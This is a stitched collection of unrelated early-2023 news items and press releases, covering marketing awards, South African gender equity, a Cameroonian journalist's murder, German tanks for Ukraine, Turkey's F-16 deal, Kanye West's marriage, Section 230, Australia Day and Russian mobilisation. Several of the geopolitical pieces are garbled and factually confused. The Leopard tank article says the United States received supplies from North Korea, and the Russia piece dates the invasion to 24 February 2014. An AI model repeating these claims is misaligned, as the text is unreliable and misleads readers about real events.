Warc has released an insights report examining effective marketing trends following an analysis of the winning case studies from the 2022 IPA Effectiveness Awards. The awards are an international biennial competition rewarding campaigns that link marketing effectiveness to business success.

Lena Roland, head of content, Warc strategy, Warc, says, Weve analysed the metadata of the winning entries to drill down into the themes and trends that are driving marketing success. Included in the report are many winning case studies showcasing long-term brand-building activity or effective activations that deliver short-term goals, demonstrating how marketers can rise to current challenges.

Harjot Singh, global chief strategy officer, McCann and convenor of the 2022 IPA Effectiveness Awards, says, The winning entries from 2022 prove that we have the power to turn around and reinvigorate struggling brands. We can create new habits. We can transform a brands point of view and keep it current and enduring.

The key insights from the winning campaigns of the 2022 IPA Effectiveness Awards uncovered by Warc are:

Against a backdrop of uncertainty, brands like KFC, Cadbury, McDonalds and Tesco were able to rediscover their voice and their role in culture, by going back to their core values, drawing strength from their heritage and replaying existing associations, leading to renewed growth.

Distinctive brand assets, which anchor brands firmly in consumers memory and trigger faster, more emotional decision-making, are back in vogue. Whether its in a refresh of brand assets or continued investment in assets or characters, this approach has been successful for a wide range of brands, including Aldi, Schmackos and Sick Kids.

In the context of Covid-19, several brands such as Barclays and The British Beer and Pub Association, invested in initiatives that supported consumers, communities or small businesses, growing their brand reputation and bottom line.

Brands are moving from words to action when it comes to marketing for societal impact, which in turn is driving brand equity. Brands including Tesco stepped up and delivered.

Identify new usage occasions to drive relevance and growth beyond established sales periods. Baileys, Boursin and Cherries from Chile found ways to incorporate new moments that unlocked a fresh period of growth.

With many of these campaigns running during the Covid-19 pandemic it is perhaps unsurprising that Warc data shows a decline in the use of humour as a creative strategy. While sensitivity is required, research shows that people look to adverts for fun and escapism in difficult times.

The full report, available to Warc subscribers and IPA members, includes a full chapter analysis of the themes, data, case studies and expert industry commentary. A Warc podcast on the theme of driving growth through new usage occasions with guests from the IPA and Diageo brand Baileys will be released on 9 February.
In August every year, South Africa observes Women's Month to celebrate the important role women play in the workplace and in society. The reality, however, is that there is still a significant gap in equality among men and women in terms of pay and rank across most job sectors.

According to Stats SA data released in the Quarterly Labour Force Survey of the 2nd quarter of 2021, women accounted for 43.4% of total employment in the second quarter of 2021. Of those in managerial positions, 66,9% were men compared to 33.1% of women.

The University of Stellenbosch Business School shared a report confirming that only 20.7% of the board members on JSE-listed companies are female and many JSE-listed companies do not even have a single female director, while the 2021 PwC Executive Directors Report revealed that only 14% of CEOs, CFOs and executive directors of JSE-listed companies are female. This indicates an additional barrier of gender-based discrimination for women striving towards executive positions.

What are some of the advantages of having greater gender balance in the workplace?

Gender equity is not only the right thing to do, but it also makes business sense. Corporates that dont prioritise attracting and retaining female talent may be missing out. Looking at male and female job seekers, our data reveals that job sectors like Manufacturing, Construction and Design & Marketing seem to have more female job seekers than male job seekers with tertiary qualifications.

Along with accessing a greater pool of talent, research indicates that recruiting women can boost the bottom line. According to data from S&P 500 companies, analysed by BoardReady in 2021, there was a strong connection between board diversity and revenue growth during the pandemic. When comparing revenue from 2019 and 2020, companies where women held more than 30% of board seats outperformed their peers in 11 of 15 sectors.

Furthermore, studies suggest that having a strong representation of women in senior roles creates less gender discrimination in the employment process and a greater retention rate. In addition, women aid creativity. Companies with women in senior leadership roles often experience the phenomenon of innovation intensity, producing 20% more patents than teams with male leaders. More female representation within organisations is also associated with higher status. Fortunes most respected companies have twice as many women in senior management than other companies.

Given the value that women can bring to the workplace, what steps can corporates take to bridge the gender gap and position themselves as Employers of Choice for SAs top female talent?

While the global Covid-19 pandemic has irrevocably changed the world of work and ushered in a New Normal, it has also presented corporate companies with new opportunities to level the playing field and create greater gender equality in the future. CareerJunctions latest data reveals where these opportunities may exist.

Creating more remote/hybrid work opportunities

Women desire flexibility in terms of where, when, and how they work. Historically women have been disadvantaged when applying for certain roles because they often must juggle multiple roles as spouse, mother or caregiver while simultaneously pursuing a career.

The recent shift away from traditional office-based employment means that companies can now access a wider pool of talent by creating remote/hybrid job opportunities for women.

It is interesting to note that significantly more women are applying for remote roles than men in several job categories. For example, female applications increased by 368% for teaching jobs with the 'work from home' option, while male applications increased by 119% for remote teaching jobs.

Other occupations which have seen a more gender-balanced increase in remote job applications are shown in the table below.

Considering which industries are attracting SAs top female talent

The top three fastest growing job sectors over the last 12 months were Admin, Office & Support, the Legal sector as well as the Marketing sector, followed by the Architecture & Engineering and Design, Media & Arts sectors. Looking at these top three fastest growing sectors in terms of recruitment, female applicants are taking the lead since most applicants across these sectors were female. If your organisation falls within one of these sectors, you could be well placed to attract quality female candidates when you place a job advert.

On the other hand, male applicants dominated the applications for Architecture & Engineering jobs as well as Design, Media & Arts vacancies over the last 12 months. So, if your organisation falls within one of these sectors and youd like to attract SAs top female talent, you may need to share more information about the additional value you can offer as an employer in terms of work-life balance, employee benefits, and so on.

Conclusion

In an increasingly competitive job market, South African corporates looking to differentiate themselves as Employers of Choice would be wise to consider the value that women can bring to the table and play their part to bridge the gender gap in the workplace. In the short term, corporates can start reducing the pay gap by offering more equitable packages for their job vacancies and proactively searching for equitable talent by identifying suitable female candidates for executive positions.

In the medium term, employers should focus on training, mentoring, and supporting women as soon as they join the company to support skills development and the opportunity for career growth. Finally, in the long term, corporates can achieve greater gender equity by fast-tracking female employees to ensure there is a higher percentage of women in executive and leadership positions.




LG Electronics is calling on Gauteng residents to apply for and participate in the LG Global Ambassador Challenge, the company's annual corporate social responsibility (CSR) initiative that promotes sustainable solutions and works to solve social issues in local communities.

After a successful launch in 2022, the 2023 LG Global Ambassador project, run in partnership with global NGO Friends of Hope, Korea Food for the Hungry International (KFHI), is taking place in six countries on three continents.

The LG Ambassador Challenge is a testament to our corporate commitment to fostering new ideas and playing an active role in creating a healthy and sustainable future society. It is only by working together that we can realise a shared vision and make a meaningful difference in the world we live in, said Jinkook Kang, president of LG South Africa.

In South Africa, the initiative is open to all Gauteng-based non-profit organisations and community projects that have ideas to uplift and improve their communities through sustainable and innovative solutions. The winners of the 2022 challenge were Cavall-Ann Elliott of Sakhne Youth Development Forum from Soweto (whose project focused on empowering young people with digital education), Annette Hole of Keagile Project Partners from Mamelodi (who sought to transform the community with an agriculture project), and Sarah Shkaidy of Circle of Life from Eersterust (who wanted to start a bakery to provide people with the tools and resources to live sustainably).

This year, LG aims to increase the number of entries received in order to support Gauteng communities as much as possible. With a mission statement that reflects that of the Gauteng Department of Social Development (to create a caring and self-reliant society), the challenge gives us the chance to confront some of South Africas leading social and economic obstacles. This includes the creation of new employment opportunities, the development of new products and services, and social upliftment through community-driven projects, Kang explained.

Following a selection process, the chosen participants will be announced at a media event and ceremony on 22 February 2023. The winners will each receive a grant of close to R150,000 to fund their community-empowering projects and be recognised as LG brand ambassadors.

The initiative will then run from March to July 2023, during which time the winners will work directly with KFHI representatives to develop and turn their ideas into fully realised projects. We look forward to seeing what the people of Gauteng have to show us and helping them turns their ideas into working realities, Kang added.

Entries for the LG Ambassador Challenge are now open until Sunday, 12 February 2023.

To enter the LG Global Ambassador Challenge, submit your proposal here.

For more information on the initiative and for any queries, contact June Lee at moc.liamg@nujtevic.




The mangled body of a well-known Cameroonian journalist was discovered on Sunday near the capital Yaounde, five days after he was kidnapped by unidentified attackers, according to the press union and a colleague.

The mutilated body of a prominent Cameroonian journalist was found on Sunday near the capital Yaounde, five days after he was abducted by unidentified assailants, the press union and a colleague said on Sunday.

Media advocates described Martinez Zogo's disappearance and death as a further sign of the perils of reporting in the African country.

Zogo, the director of private radio station Amplitude FM, was kidnapped on 17 January by unknown assailants after trying to enter a police station to escape his attackers, media watchdog Reporters Without Borders (RSF) said.

Zogo had recently been talking on air about a case of alleged embezzlement involving a media outlet with government connections, RSF said.

"Cameroonian media has just lost one of its members, a victim of hatred and barbarism," Cameroon's journalists' trade union said in a statement. "Where is the freedom of the press, freedom of opinion and freedom of expression in Cameroon when working in the media now entails a mortal risk?"

His colleague, Charlie Amie Tchouemou, editor-in-chief of Amplitude FM, confirmed Zogo's death and his abduction. The police and the government did not respond to calls for comment.

The incident is the latest in a string of attacks against journalists in Cameroon, which has a vibrant press and which is ruled by President Paul Biya, who has a decades-long record of repressing opposition.

Cameroon is one of many countries across the continent, from Burkina Faso to Ethiopia to Equatorial Guinea, where journalists complain that media freedoms are under threat from authoritarian governments.

"Although Cameroon has one of the richest media landscapes in Africa, it is one of the continent's most dangerous countries for journalists, who operate in a hostile and precarious environment," RSF says in its Cameroon country profile.

Radio France Internationale reporter Ahmed Abba was arrested in July 2015 and imprisoned for two years on terrorism charges that rights groups denounced as a sham. Outspoken reporter Paul Chouta, who worked for private news website Cameroon Web, was beaten and stabbed by unknown attackers in 2019.
Despite the allies' efforts to convince Germany to send Leopard tanks to Ukraine, Germany would not commit.

Ukrainian President Volodymyr Zelensky's attempts to coerce Berlin have failed despite pressure from other nations.

Germany Refuses Ukraine's Plea

The conclusion of the allies' summit at Ramstein Air Base was disappointing for Washington since neither it nor its allies received a commitment from Berlin. A projected spring onslaught by Kyiv is not impossible, as per Arab News. The Zelensky regime's Western supporters sent billions of dollars worth of military equipment; these armored vehicles and ammunition will assist the AFU in coping with the overwhelming Russian forces.

The Ukrainian commander stated that his country required combat tanks, a sentiment mirrored by US Secretary of Defense Lloyd Austin, who noted that the AFU intends to assault entrenched Russian forces.

Austin attempted to persuade everyone that they could prevent Moscow from conquering the Ukrainians at Ramstein AB. Zelensky instructed the group to supply weaponry urgently and urged Berlin to heed its advice regarding the most vital shipment, according to The Jakarta Post.

Austin emphasized the Ukraine Contact Group meeting that delivers armaments to Kyiv; he stated that Berlin would agree to send Leopards to Kyiv. But the Germans refused, and the United Kingdom sent modern heavy tanks.

Boris Pistorius, the German minister of defense, informed the media of the inability to predict when the Leopard MBT request will be approved. However, the American official instructed the allies not to condemn Berlin for refusing to provide heavy armor to Kyiv due to its shortage. The German government is a trustworthy ally, he stressed.

Read also: Ukraine Fails To Receive Requested Gripen Jets

Allies Pressure Germany

After eleven months, US authorities revealed that Kyiv was trying to combat the Russian army, which controls around one-fifth of the land. They are confident that Ukraine can stand up to Moscow despite the AFU's devastating losses.

General Mark Milley, chairman of the US Joint Chiefs of Staff, stated that mobile armor and artillery battalions are needed. Others, but not the German government, promised these weapons; with the training of the AFU. Despite their tremendous casualties, the American general attempted to persuade his audience that the Ukrainians could win and capture the areas.

An alleged White House official cautioned Kyiv not to lose all its men defending Bakhmut but rather to attempt to bolster an attack. The official recommended that the AFU assemble a large army to assault the south. Dmitry Peskov stated that tanks are overrated. Instead, there will be more issues, he said.

According to Western reports, the Bakhmut siege was stalled, and the city was on fire on Friday. Kyiv contests that its soldiers are disorganized and that Russia controls Soledar. One development is that the United States has contacted the Wagner group, a transnational criminal organization that played a crucial role in the Bakhmut-Soledar campaign. It has altered the Kremlin's objectives for prevailing in the battle.

The United States claims to have received supplies from North Korea and competes with the regular Russian army. Germany resisted allied demands to allow it to provide additional tanks to Ukraine, while the United States exerted pressure on allies to back Kyiv.

Related Article: Russia Claims NATO, EU Joint Statement as Confrontational

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PRovoke Media is accepting nominations for its Global 250 Agency Ranking and Agencies of the Year contests in North America, EMEA, Latin America and Asia-Pacific.

Agencies can now enter both the Rankings and the Agencies of the Year using the online entry form here.

The late deadline for Sabre submissions in North America and Africa is 30 January.
South Africa: Godongwana to host US Secretary Yellen

Finance Minister Enoch Godongwana will this week host his United States counterpart, Secretary Janet Yellen.

The US Secretary of Treasury will be in the country for a weeklong visit, from Tuesday.

In a statement, the National Treasury said Yellen, as part of her visit, will meet Minister Godongwana in a bilateral on Thursday morning.

Areas of cooperation and mutual benefit between the two economies will be discussed, to further the already fruitful ties between the two states, said the department.

The visit comes four months after Presidency Cyril Ramaphosa embarked on a successful state visit to the US. The visit was at the invitation of President Joseph Biden.

During the visit, the two countries established a joint task force on trade and investment to expand bilateral economic ties.

This came as there was an agreement on the need to create a more attractive environment for American companies to invest in South Africa, where an estimated 600 US companies are already doing business in a range of sectors.

A joint task force on trade and investment will be established to expand bilateral economic ties, said the Presidency at the time.

In a meeting between the two in April last year, Yellen reiterated the strength of the United States bilateral relationship and underscored the countrys support for a Just Energy Transition that will enable South Africa to sustainably achieve its climate goals and to welcome South Africas leadership on responding to COVID-19.

The Secretary discussed the impact on South Africa of the commodity shock triggered by Russias brutal invasion of Ukraine and underscored the need for close coordination between our governments to protect our financial sectors from illicit Russian financial activities. The Secretary also commended South Africas leadership on debt issues through the G20 Common Framework process.  SAnews.gov.za

This story has been published on: 2023-01-24. To contact the author, please use the contact details within the article.
Indonesia's Bali welcomes back 1st charter flight of Chinese tourists after relaxation of COVID rules

Xinhua) 10:34, January 24, 2023

JAKARTA, Jan. 22 (Xinhua) -- Indonesia's famed resort island of Bali on Sunday welcomed back the first batch of Chinese tourists by charter flight after the Chinese government optimize its COVID-19 rules.

The flight carrying a total of 210 Chinese tourists from China's southern metropolis Shenzhen touched down at I Gusti Ngurah Rai International Airport Bali at 10:40 local time on Sunday.

Local traditional songs and dances welcomed Chinese tourists, and one of them was presented with a flower garland by the governor of Bali, I Wayan Koster.

"I'm convinced Bali tourism will thrive again with the advent of these Chinese tourists. China has been the largest source of tourists to Bali for many years, and the number of Chinese tourists visiting Bali reached as high as 1.4 million," said Koster.

Zhu Xinglong, Chinese Consul General in Denpasar Bali who attended the ceremony, appreciated the thoughtful arrangements made by Indonesia government to welcome Chinese tourists to Bali, saying that Indonesia is one of the first pilot countries for China to resume the business of Chinese citizens traveling abroad, which demonstrates that the Indonesian government's hospitality for the Chinese tourists.

Zhu said that China's Consulate General in Denpasar will strengthen tourism cooperation with relevant Indonesian departments, and promote personnel exchanges and people-to-people bonds between the two countries.

(Web editor: Peng Yukai, Liu Ning)
Disclosure by the US envoy concerning Turkey F-16 is not connected to securing the NATO bid of Sweden and Finland. Ankara has yet to allow its accession as the two Nordic states still need to comply with the signed agreement.

Turkey F-16 Deal Not Connected with NATO Bid

Last Thursday, a report mentioned the recent disclosure of Washington it might relent and sell the jets to Ankara as sweeteners to expedite the process for Stockholm and Helsinki joining NATO, according to ANews.

Ambassador Jeff Flake talked to media representatives stating the US is looking to have more interactions at high levels with other nations. He remarked on the recent Turkiye-US Strategic Mechanism meeting in the US capital between Minister Mevlut Cavusoglu and US Secretary of State Antony Blinken, per Anadolu Agency.

The envoy added that Secretary Blinken thanked the Turkish Foreign minister for Ankara's assistance in the grain deal and support for Ukraine. Turkey has been a member of the military bloc for the last 70 years. Concerning the possible sale of the Fighting Falcon jet with applicable upgrade kits, comments by the US diplomat will be examined in the US Congress.

Despite the urgency of the fighter jet sale and allowing Stockholm and Helsinki to be part of NATO, it is incumbent on Erdogan's government to approve.

Flake mentioned that Congress is prioritizing the defense deal to help add more countries against Russia in the conflict. The two are important to widen more borders to hem in the Russian Federation.

Read Also: Ankara Considers Buying Rafale Fighters Instead of F-16s

He stressed Washington is keen to see the two Nordic countries is supposed to be a sentiment in Congress. Indicated that the legislative body has technical concerns over how long the body is allowed to review but not set dates.

Last October, Ankara placed an order to the US for 40 F-16 jets with modernization kits, the State Department official told of the sale to the legislative body, Daily Sabah reported.

The US official spoke of the talks of Turkey with the Regime of Assad in Syria and gave their opinion on the actions of the Erdogan government. He told the Turks that the White House disapproves of Istanbul allowing normal relations with a state it opposes, including claims that the Syrians are guilty of untoward actions based on the perception of Washington.

Sweden, Finland Must Do What Turkey Says

Security concerns in the north of Syria which the Turks claim is a path for terrorists, need action taken by Ankara. Flake added that more discussions with the Turkish officials are required.

The Turkish government is aware that the US is playing two sides, meaning the terrorist YPG/PKK is one terror group that threatens Istanbul with violence constantly. Also, a Turkish cross-border ground offensive is vital to end the terror threats as needed despite US opposition.

One of the concerns of Ankara is the campaign of terror waged against Istanbul. The US and EU called the PKK, with the YPG as its Syrian branch, a terror group that has killed 40,000 people. A reaction by the US envoy calling the Turkey F-16 deal is not a push for Ankara to allow Sweden and Finland to finish their NATO bid.

Related Article: Joe Biden Pushed To Cancel Erdogan's Request for F-16 Sale

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On Sunday evening, North West dined at Nobu in Malibu, California, with her father and his new bride, Kanye West and his new wife.

The nine-year-old was accompanied by a friend when she was dropped off by her security team at the upscale restaurant where Kanye, also known as Ye, 45, and Bianca Censori, 27, were awaiting her arrival.

Kanye West New Wife Meets Daughter North

Despite releasing a song named Censori Overload, the Bound 2 rapper married the Australian native in a covert ceremony somewhere in January and has kept the details of their relationship confidential. The newlyweds arrived at the restaurant shortly before North, with Kanye wearing what appeared to be a wedding band.

The new stepmother was dressed in an oversized leather jacket, black tights, and a red pocketbook slung across her chest. She wore a pair of white-fur-covered over-the-knee boots with heels. She had her blonde hair short and slicked back and carried her phone.

Kanye West wore a green puffer jacket, cargo pants, and boots. On his pant legs, knee pads were there. The rapper from Flashing Lights covered his mouth and nose with a black bandana. North arrived at the restaurant wearing a black oversized hoodie and black jeans with rips. The young TikTok star wore her hair in lengthy braids that were colored pink on one side and white on the other, as per Daily Mail.

Meanwhile, Kanye West's supposed new wife's family has broken their silence in response to their hasty wedding. The family of Bianca has finally given their blessing to the whirlwind relationship. The sister of the Yeezy architect stated that it was a really exciting time for them, but requested privacy.

Angelina Censori stated, "It's incredibly happy news for both my sister and our family, but for the time being, we choose to maintain our secret." Alyssia Censori, another relative, stated that she was "very thrilled for them both."

Bianca resided in Australia until November 2020, when she began working for Kanye's fashion brand in Los Angeles. In 2013, she and her friend Irene Papas created their own jewelry line, Nylons Jewellery.

Per The Sun, Censori is an architecture student at the University of Melbourne. She founded the company while still in school. Bianca, who formerly bore an eerie likeness to Kim, was apparently whisked away to Utah for her honeymoon - the same location Kanye took his ex-wife for her 37th birthday. The exclusive Amangiri Resort offers 34 suites and one four-bedroom Mesa home for $5,000 per night.

Read Also: Jay Briscoe Car Crash

Who is Bianca Censori?

According to her LinkedIn page, Bianca Censori is the Head of Architecture for Kanye's apparel line, as per E! Online. She joined the organization in November of 2020.

From 2013 through 2017, Censori was the founder and proprietor of Nylons Jewellery. In a 2016 interview, she stated that she founded the brand after graduating high school. Bianca received her Bachelor of Architecture and Master of Architecture from the University of Melbourne, according to her LinkedIn profile.

Bianca is best friends with stylist, photographer, and creative director Gadir Rajab, according to a June 2022 Vogue interview in which they both participated. Both parties were raised in Melbourne.

Related Article: US Mass Shootings 2023

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Santos flagship Barossa gas project north of Darwin has hit another serious snag after a regulator intervened to stop construction of an offshore pipeline until concerns there could be Indigenous heritage sites along the route are addressed.

Traditional owner Therese Wokay Bourke welcomed the intervention of offshore environment regulator NOPSEMA just weeks before construction of the pipeline that would go within seven kilometres of the Tiwi Islands was to begin.

This gives me a sense of relief because it means that our ancestral spiritual and cultural connection to underwater spiritual heritage will be preserved, she said.

Santos chief executive Kevin Gallagher will reap a $6 million bonus at the end of 2025 if he can get Barossa and other projects completed. Credit: Roy VanDerVegt

NOPSEMA directed Santos on January 13 to engage independent experts to assess if there are any sites along the 262-kilometre-long pipeline route that may have spiritual or cultural importance to Indigenous people and then if necessary adjust its plans.
The section, often described as the 26 words that created the internet, says that no provider or user of an interactive computer service shall be treated as the publisher or speaker of any information provided by another information content provider. Effectively, it absolves digital platforms from liability for the content posted by their users as long as they arent aware of any crime being committed. If leaves any regulation of content and the users to the platforms. American Nohemi Gonzalez was the victim of the 2015 ISIS terrorist attacks in Paris. Her family has argued that recommendation algorithms used by Googles YouTube had helped ISIS recruit members. Credit: Facebook The Texas and Florida cases have been supported by Republicans who believe the largely Silicon Valley-based companies are censoring conservative viewpoints and characterise their actions after January 6, when Twitter and Facebook were in the spotlight for their perceived role in facilitating the inciting and organising of the insurgency, as an assault on free speech. Ironically, the Democrats would also like to rewrite Section 230, albeit that they want more moderation of content and want the law to force the removal of hate speech, extremism and politically-inspired falsehoods. They want more censorship, not less.

While the Supreme Court probably wont deliberate on the Texas and Florida cases until late this year, assuming it does ultimately decide to hear the two challenges to the states laws, its decisions have the potential to remake the internet and it wouldnt be only the big social media platforms affected. The platforms global reach means that any decisions made by the US Supreme Court could also have far-reaching implications for societies, politics and economies well beyond Americas borders. There are a host of sites and digital businesses, big and small, that are powered and generate their value from user content, interactions and recommendations. They could all be impacted. Section 230 has enabled speech to be freer in the digital environment than it is in terrestrial activity, where all sorts of laws impose liabilities for what people say and write and make publishers and broadcasters liable for the content they carry. If digital platforms had to monitor and moderate all content on their platforms  if they lost the discretions they have to self-regulate, or not  they might well be rendered uneconomic.

Equally, if they were broadly unable to moderate the content or decide who has access to their platforms they could jeopardise their social licences, with similar economic effects. Loading Section 230 is vital to the business models of the social media giants but it is perhaps inevitable that laws designed to shield and promote the growth of an industry that was just emerging when the laws were written (Facebook was founded eight years later) would be questioned 27 years later, when a few mega-techs companies dominate global social media activity. Indeed, in Europe last year, laws  the European Unions Digital Services Act  have been enacted that regulate and impose obligations on digital services providers that act as intermediaries in connecting consumers with each other, with content, with goods and with services online. The legislation requires mechanisms for enabling users to flag illegal content and on platforms to identify and remove illegal content.

There are provisions that enable users to challenge platforms content moderation decisions if their content is removed but also requirements to mitigate use of their services that could lead to disinformation, election manipulation, cyber violence against women or harm to minors. There are also requirements for transparency around the algorithms the platforms use for recommending products or content. The results of the cases could have profound impacts on Silicon Valleys tech giants. Credit: AP In the US, until now (and with the possible exception of the new Twitter under Elon Musk), the more extreme user content and obvious disinformation is found on niche social networks. The big platforms have, to various degrees, self-regulated. The Supreme Court cases, whichever way they go  whether they uphold the conservative definitions of free speech or endorse the long-standing interpretation of Section 230  could have profound implications for the platforms and their economics.
Australian teacher allegedly murdered in Africa

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Axiomatically, any national day that alienates, offends and traumatises a significant portion of a countrys population is not a national day. That January 26, and its murderous and often genocidal colonial aftermath, continues to cause so much anguish to the descendants of the original custodians of the land is reason alone to banish it. No amount of citizenship ceremonies, honours, aerobatic displays, pyrotechnics or government advertising campaigns imploring Australians to have fun will alter the fact that Australia Day, on its present date, in its present form, will never bring together the entire country.

The decline of Australia Day comes at a time when other staples of the national calendar may also be running up against their sell-by date. The Melbourne Cup  largely because of animal welfare concerns over horse fatalities  is no longer a race that stops the nation. Celebrating the birth of the monarch with a public holiday  something that does not even happen in my homeland  will seem especially anomalous this year, as we mark the Kings birthday rather than the Queens. Small wonder that Anzac Day, the commemoration of modern Australias bloody baptismal moment, is emerging as the de facto national day.

Day in, day out: The Captain Cook statue in St Kilda was vandalised with pink paint in 2018 amid growing discomfort over Australias colonial past. Credit: Alex Ellinghausen

In searching for alternative dates for Australia Day, in identifying other possible events to commemorate, the obvious point of reference is the past. January 1, or Federation Day, is sometimes cited  although given that the first legislative priority of the new Commonwealth was to codify white Australia policies that would tap into the same baleful history. Marking February 13, the date that Kevin Rudd delivered the national apology to First Nations peoples, would be a better option. Rather than celebrate the monarchs birthday midway through the year, Australia could mark the anniversary of the Mabo decision on June 3 with a public holiday.

Yet rather than foraging through history, maybe the onus should be on the future, and the need to create new red letter days. For instance, if ever Australia decides to dispense with the services of King Charles or his heirs, a Republic Day seems like a natural replacement for the present regal public holiday. But surely the more pressing need is to produce a new watershed moment, and to press for a new era in national life, in which true reconciliation becomes a reality.
An international student has been denied the opportunity to continue her research into potential new painkillers because Defence officials feared it could be used to develop weapons of mass destruction.

The Chinese national was well-regarded at the University of Queensland and during her undergraduate studies produced six research papers on the potential use of modified spider venom for pain relief.

The Chinese national was denied a visa to return to the University of Queensland. Credit: Glenn Hunt

But when the student applied for a visa to return to complete a PhD, and continue working with experts in the field, the Department of Defence intervened - because venom could potentially be weaponised by foreign powers.

She was actually declared unfit to study in Australia on that topic because she might be developing weapons of mass destruction, said the universitys Professor Glenn King.
Theres a one-in-eight chance composer William Barton will wake up on Australia Day as Australian of the Year.

The title has an uncanny ability to turn its holder into a political lightning rod, a prospect of which Barton does not seem that keen.

William Barton is Queenslands nomination for Australian of the Year. Credit: Chris Hopkins

But, as a proud Kalkadunga man from Mount Isa in outback Queensland, Barton acknowledges that might be unavoidable, particularly in a year that will see Australians head to the polls to vote on an Indigenous Voice to Parliament in the first referendum of the 21st century.

Barton, 41, says he remains uncommitted on the Voice  Ive got to think about that  but having Australia Day on January 26 does serve a purpose.
South-east Queensland mayors are heading to California and Canada on an 11-day fact-finding mission to gather solutions to transport, waste and population issues ahead of the 2032 Olympic Games.

And the trip might mean futuristic air taxis become one step closer to operating in Brisbane for the Games.

Lord Mayor Adrian Schrinner with Wisks Catherine MacGowan and one of the companys air taxis in Brisbane last year. Credit: Tony Moore

Late last year, the Brisbane 2032 Organising Committee appointed former Deloitte CEO Cindy Hook as the Games chief executive, and Premier Annastacia Palaszczuk will soon reveal redevelopment plans for the Gabba for the opening and closing ceremonies, once funding issues are resolved.

Now the regions mayors  who first pushed Brisbanes bid to host the Games  will travel to Los Angeles to meet its mayor, as well as the new boss of the US air taxi business that landed in King George Square in July last year, and the chief executive of Vancouvers public transport network.
Rajwinder Singh to be extradited to Australia to stand trial for Toyah Cordingley's murder

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Russia has secretly repealed a law that exempted fathers with three or more children from conscription because of concern that President Vladimir Putin may send an additional 500,000 conscripts to Ukraine.

MPs are rumored to have presented legislation that would grant the National Guard additional authority to enforce military draft orders. A second proposal would authorize the confiscation of property from individuals who left the country to avoid being conscripted.

Russia Mobilization Plans

In September, after Putin announced the mobilization of 300,000 reservists, hundreds of desperate Russians began attempting to flee the country, Daily Mail reported. According to The Telegraph, the office of Moscow's mayor is now reportedly hiring more personnel to manage conscription, and some city officials have had their vacations canceled.

In addition, social media speculations about martial law in the country have contributed to the propagation of fear. Putin told workers at a military-industrial unit in St. Petersburg this week that they are exempt from a call-up, implying that a second mobilization may be imminent despite the Kremlin's refusal to revoke the exemption.

Initially, the Kremlin anticipated that the battle would only last a few days. However, a new mobilization wave could extend the conflict. If Russia announces another wave of mobilization and expands its armed forces, the conflict in Ukraine will persist for years, according to Konrad Muzyka, the head of defense consultant Rochan.

Many of the 320,000 conscripts who were deployed to the battlefield in September are now thought dead, and Moscow is reportedly mindful of the political consequences such a choice could entail.

A close confidant of Putin warned today that the delivery of weapons to Kyiv that threaten Russia will result in a global catastrophe and render arguments against the use of mass destruction weapons impossible.

Vyacheslav Volodin, the speaker of the Duma, the lower chamber of the Russian parliament, warned that the United States and NATO's support for Ukraine are bringing the world to an awful war. Last week, Western allies promised Ukraine weaponry worth billions of dollars.

However, they were unable to convince Germany to waive a ban on delivering its Leopard 2 battle tanks, which are owned by several NATO members but whose transfer to Ukraine required Berlin's consent. Since its invasion on February 24, 2014, which it has portrayed as self-defense against an invading West, Russia has seized control of portions of Ukraine and stated that it will never give them back.

However, Kyiv has stated that the restoration of Ukraine's territorial integrity is not negotiable. The previous week, Russia's former prime minister and president, Dmitry Medvedev, made a similar threat. In addition, Russian lawmakers have proposed a measure that would give the National Guard more authority to enforce the military draft and another that would allow them to confiscate the property of Russians who fled overseas.

Multiple Russian areas have reportedly claimed that commissars have been tasked with compiling lists of males of fighting age, which could be another indication of an impending mobilization. According to reports from Russia, industrial managers have also been asked which employees they can give to the army.

The operations resemble what transpired during Putin's first mobilization, when, immediately after Putin's call to arms in October, he passed laws expanding the number of people who can be mobilized. After several months of fighting in Ukraine, Russia called for the partial mobilization of 300,000 military reservists in September 2022, the first time the country had done so since World War II, as per Daily Express.

Read Also: UN Employees Photographed Under Taliban Flag

Russia-Ukraine War Update

According to the Russian human rights organization OVD-info, more than 750 individuals were arrested as a result of the announcement's unpopularity among certain Russians. Novaya Gazeta, an exiled Russian publication noted for its critical coverage of Vladimir Putin, said up to one million Russian men might be mobilized per Kremlin edict.

Now, it has been claimed that the mayor's office in Moscow is employing additional personnel to deal with new conscription and that some civil officials' vacations have been canceled. It has also been rumored that Russia intends to prolong the length of conscripts' national service from 12 to 24 months to have them fight in Ukraine, a move that could spark a reaction among Russians.

Professor Mark Galeotti, a Russian analyst, has stated that he believes Vladimir Putin is aware of the political cost of everything he does, as well as the political repercussions of employing conscripts, given the majority of them are "teens" serving national service.

In addition, Norway's army chief estimates that about 180,000 Russians have been killed or wounded throughout the conflict in Ukraine, compared to 100,000 military casualties and 30,000 civilian deaths among the Ukrainians.

General Eirik Kristoffersen, the head of the Norwegian armed forces, stated in an interview with TV2 that the number of killed and wounded Russian soldiers is beginning to surpass 180,000, though he did not clarify how he arrived at the figure, as per ABC.net.

Since 1949, Norway, a country that borders Russia, has been a member of NATO. In November, the chairman of the US army's joint chiefs of staff, Mark Milley, stated that the Russian army had suffered over 100,000 casualties and that the Ukrainian side had "probably" sustained a similar toll.

These numbers cannot be independently confirmed, and Moscow and Kyiv have not supplied credible accounts of their losses for months. General Kristoffersen stated on Sunday that despite huge losses, Russia can sustain [this war] for quite some time, citing Moscow's mobilization and arms-production capabilities.

Related Article: Mogadishu Al-Shabab Attack Kills 5

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Acting executive director of criminal law at Victoria Legal Aid, Alice Cashen, said current bail laws needed urgent reform and were disproportionately causing harm to First Nations people. Loading We need a system which supports people to stay connected to their community, support services, housing and employment so they can address the issues in their lives that have brought them to court, she said. Victoria has among the toughest bail laws in Australia. The proportion of prisoners held on remand (when an accused person is charged but not given bail) has increased dramatically since the passing of stricter laws. According to the Sentencing Advisory Council, in 2017 before the amendment to the Bail Act, 31 per cent of the prison population was unsentenced. By 2021, unsentenced prisoners had increased to 43 per cent.

Victorian Aboriginal Legal Service chief executive Nerita Waight said it was a mistake to amend the bail laws in 2018 and that it is time for the Andrews government to repeal them. There have been times where about 80 per cent of Aboriginal women in Victorias prisons are on remand. Often these women are victims of domestic violence and they are usually primary carers for family members, she said. Waight rejected the argument  used by the government when it amended the laws at the time  that the stricter bail laws made the community safer. In reality, these laws have led to a massive increase in the prison population, which has destroyed families and drained government resources away from communities. Human Rights Law Centre acting managing lawyer Amala Ramarathinam called on the government to address the laws, saying urgent action was needed to address Victorias mass imprisonment crises.

